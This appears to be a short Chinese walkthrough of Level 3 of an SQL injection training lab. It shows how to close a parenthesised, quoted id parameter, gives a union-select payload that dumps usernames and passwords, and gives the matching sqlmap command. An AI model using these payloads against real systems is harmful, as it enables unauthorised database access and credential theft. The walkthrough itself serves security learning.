判断注入类型
这第三关有点意思,是一个带括号的数字型注入,这里需要闭合它的括号,之前遇到过很多这样的站,它的sql语句一般都是这样的:
$sql = select * from user where id=('$id');
看一下输入’后的信息,能够判断出这是一个数字型注入:
此时的sql语句应为:
select * from user where id=('1'');
后边在给它注释一下,还是不行,但是参数已经传进去了:
sql语句:
select * from user where id=('1'%23');
在加一个)来闭合前边的括号:
http://192.168.1.113:86/Less-3/?id=1')%23
此时的sql语句:
select * from user where id=('1’)%23');
那么接下来的思路就有了:
-id')<payload>%23
开始注入
根据上文的分析,在payload处加上我们的exp,成功爆出后台账号密码:
http://192.168.1.113:86/Less-3/?id=-1') union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23
后记
这里如果想要用sqlmap跑,需要加 --prefix 和 --suffix这两个参数,例如:
sqlmap -u "http://192.168.1.113:86/Less-3/?id=1" --prefix "')" --suffix "%23"
当然我们要具体情况具体分析怎样去闭合还是得看回显的信息,看一下运行结果: